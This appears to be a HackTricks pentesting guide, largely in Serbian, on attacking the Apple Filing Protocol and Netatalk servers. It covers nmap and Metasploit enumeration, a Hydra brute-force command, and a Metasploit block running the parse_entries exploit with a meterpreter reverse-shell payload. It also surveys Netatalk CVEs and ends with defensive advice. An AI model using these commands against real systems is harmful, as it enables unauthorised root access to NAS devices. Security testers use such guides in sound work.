548 - Pentesting Apple Filing Protocol (AFP)

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

The Apple Filing Protocol (AFP), once known as AppleTalk Filing Protocol, je specijalizovani mrežni protokol uključen u Apple File Service (AFS). Dizajniran je da obezbedi file services za macOS i classic Mac OS. AFP se izdvaja podrškom za Unicode file names, POSIX-style i ACL permissions, resource forks, named extended attributes i sofisticirane mehanizme file-locking.

Iako je AFP zamenjen sa SMB u modernim macOS izdanjima (SMB je podrazumevani od OS X 10.9), i dalje se susreće u:

  • Legacy macOS / Mac OS 9 okruženjima
  • NAS appliances (QNAP, Synology, Western Digital, TrueNAS…) koji ugrađuju open-source Netatalk daemon
  • Mixed-OS mrežama gde je Time-Machine-over-AFP još uvek omogućena

Podrazumevani TCP port: 548 (AFP over TCP / DSI)

PORT     STATE SERVICE
548/tcp  open  afp

Enumeracija

Brzi banner / informacije o serveru

# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

Korisne AFP NSE skripte:

SkriptaŠta radi
afp-lsPrikaži dostupne AFP volumene i fajlove
afp-bruteBrute-force lozinki protiv AFP prijave
afp-serverinfoIspisuje ime servera, tip mašine, AFP verziju, podržane UAMs, itd.
afp-showmountPrikaži deljene resurse zajedno sa njihovim ACLs
afp-path-vulnDetektuje (i može iskoristiti) directory-traversal, CVE-2010-0533

NSE brute-force skripta se može kombinovati sa Hydra/Medusa ako je potrebna veća kontrola:

hydra -L users.txt -P passwords.txt afp://<IP>

Ako već imate kredencijale, Nmap’s AFP skripte postaju mnogo korisnije zato što afp-serverinfo leaks oglašene UAMs (metode autentikacije), dok afp-showmount i afp-ls mogu da izlistaju dostupne shares, ACLs i zanimljive fajlove:

nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>

Obratite pažnju na:

  • Machine Type: Netatalk u izlazu afp-serverinfo, što obično znači NAS / Unix host, a ne Apple-ovu sopstvenu AFP implementaciju.
  • UAMs kao što su DHX, DHX2, Cleartxt ili Guest, jer direktno ukazuju na dostupne putanje za prijavu i da li je omogućena nasleđena / slaba autentifikacija.
  • Share ACLs iz afp-showmount; svima čitljivi ili drop-box stil deljenja često otkrivaju rezervne kopije, .appl fajlove i korisničke metapodatke pre nego što uopšte mount-ujete volumen.

Interacting with shares

macOS

# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (koristeći afpfs-ng ‑ pakovan u većini distrosa)

apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Kada se montira, imajte na umu da su klasični Mac resource-forkovi skladišteni kao skriveni ._* AppleDouble fajlovi – oni često sadrže zanimljive metapodatke koje DFIR alati propuštaju.

Na Netatalk ciljevima ovaj backend metapodataka takođe utiče na eksploatabilnost:

  • ea = ad znači da se metapodaci čuvaju u AppleDouble v2 fajlovima / .AppleDouble direktorijumima.
  • ea = sys ili ea = samba čuva metapodatke u proširenim atributima fajl sistema umesto toga.
  • U Netatalk 4.2+ stara appledouble opcija je uklonjena i backend se kontroliše isključivo kroz opciju ea.

Iz ofanzivne perspektive, ovo vam omogućava da brzo procenite da li su AppleDouble-oriented bugs verovatnije dostupni na serveru.


Uobičajene ranjivosti i eksploatacija

Netatalk unauthenticated RCE chain (2022)

Nekoliko NAS vendor-a isporučilo je Netatalk ≤3.1.12. Nedostatak provere granica u parse_entries() omogućava napadaču da konstruše maliciozan AppleDouble header i dobije remote root pre autentifikacije (CVSS 9.8 – CVE-2022-23121). Dostupan je detaljan write-up od NCC Group sa PoC-om koji eksploatiše Western-Digital PR4100.

Metasploit (>= 6.3) uključuje modul exploit/linux/netatalk/parse_entries koji isporučuje payload preko DSI WRITE.

use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

Ako meta koristi pogođeni QNAP/Synology firmware, uspešna eksploatacija obezbeđuje shell kao root.

Netatalk OpenSession heap overflow (2018)

Starije Netatalk (3.0.0 - 3.1.11) je ranjiv na an out-of-bounds write u DSI OpenSession handleru što omogućava unauthenticated code execution (CVE-2018-1160). Detaljna analiza i PoC su objavljeni od strane Tenable Research.

Newer Netatalk attack surface (2022-2024)

Nedavni Netatalk advisories pokazuju da attack surface više nije ograničen na parse_entries() i OpenSession handling:

  • CVE-2022-45188: posebno osmišljen .appl fajl može pokrenuti heap overflow u afp_getappl; ovo je posebno relevantno ako možete upisivati fajlove u share i ako server pokreće FCE / notify features.
  • CVE-2023-42464: a type confusion bug u Spotlight RPC handlerima može postati dostupan kada je spotlight = yes omogućeno u afp.conf (po defaultu isključeno).
  • CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: jednobajtni heap out-of-bounds write-ovi u login-povezanim putanjama ispravljeni u Netatalk 2.4.1 / 3.1.19 / 3.2.1. Ovi bugovi su zanimljivi jer eksploatabilnost zavisi od konfigurisanih UAMs:
    • uams_clrtxt.so + PAM-backed ClearTxt login izlaže FPLoginExt putanju relevantnu za CVE-2024-38439.
    • uams_dhx.so + PAM-backed DHX login doseže ranjivu putanju za CVE-2024-38440.
    • uams_guest.so održava dostupnom Guest login putanju za CVE-2024-38441.

Ovo znači da izlaz afp-serverinfo nije samo fingerprinting data; pomaže da odlučite koji login parser je izložen pre nego što potrošite vreme na razvoj exploit-a ili triage NAS firmware-a.

Other notable issues

  • CVE-2022-22995 – Symlink redirection koja vodi do arbitrary file write / RCE kada je AppleDouble v2 omogućeno (3.1.0 - 3.1.17).
  • CVE-2010-0533 – Directory traversal u Apple Mac OS X 10.6 AFP (detektovano od strane afp-path-vuln.nse).
  • Više memory-safety bugova je ponovo ispravljeno tokom 2024 Netatalk releases; ako identifikujete Netatalk u afp-serverinfo, izdvojite minut da korelirate izložene UAMs / Spotlight / metadata backend sa verzijom servera pre nego što pretpostavite da su samo 2018/2022 bugovi relevantni.

Defensive Recommendations

  1. Disable AFP osim ako nije apsolutno neophodno – umesto toga koristite SMB3 ili NFS.
  2. Ako AFP mora ostati, upgrade Netatalk na ≥ 3.1.18 ili 4.x, ili primenite vendor firmware koji back-ports 2022/2023/2024 zakrpe.
  3. Nametnite Strong UAMs (npr. DHX2), onemogućite clear-text i guest logine.
  4. Ograničite TCP 548 na trusted subnet-e i obavijte AFP unutar VPN-a kada je izložen udaljeno.
  5. Periodično skenirajte sa nmap -p 548 --script afp-* u CI/CD da biste uhvatili rogue / downgraded appliance-e.

Brute-Force

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks